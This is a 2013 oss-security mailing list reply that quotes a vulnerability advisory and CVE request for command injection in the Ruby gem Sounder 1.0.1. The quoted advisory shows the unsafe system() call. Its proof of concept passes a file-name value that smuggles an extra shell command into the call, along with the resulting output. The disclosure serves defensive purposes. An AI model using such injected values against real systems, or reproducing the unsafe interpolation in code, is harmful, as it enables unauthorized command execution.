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Message-ID: <20130828193647.GF31302@kludge.henri.nerv.fi>
Date: Wed, 28 Aug 2013 22:36:47 +0300
From: Henri Salo <henri@...v.fi>
To: oss-security@...ts.openwall.com
Subject: Re: Command Injection in Ruby Gem Sounder 1.0.1
On Wed, Aug 28, 2013 at 03:06:14AM +0000, Larry W. Cashdollar wrote:
> Title: Command Injection in Ruby Gem Sounder 1.0.1
>
> Date: 8/10/2013
> Author: Larry W. Cashdollar @_larry0
>
> Download: https://rubygems.org/gems/sounder
> CVE: TBD
> Description:
>
> Sounder is a ruby gem API for Mac OSX's afplay command.
> It passes user supplied data directly to command line.
>
> From lib/sounder/sound.rb:
>
> def play
> system %{/usr/bin/afplay "#{@...e}" &}
> end
>
> PoC:
>
> irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
> => "\"id;/usr/bin/id>/tmp/p;\""
> irb(main):099:0> system %{/bin/echo "#{@...e}" }
> id
> sh: 1: : Permission denied
> => false
> irb(main):100:0>
>
> larry@...erfl0w:/tmp$ cat /tmp/p
> uid=1000(larry) gid=600(staff) groups=600(user)
>
> Author Notified: 8/9/2013
> Advisory: http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html
This was the CVE request (just to be clear).
---
Henri Salo
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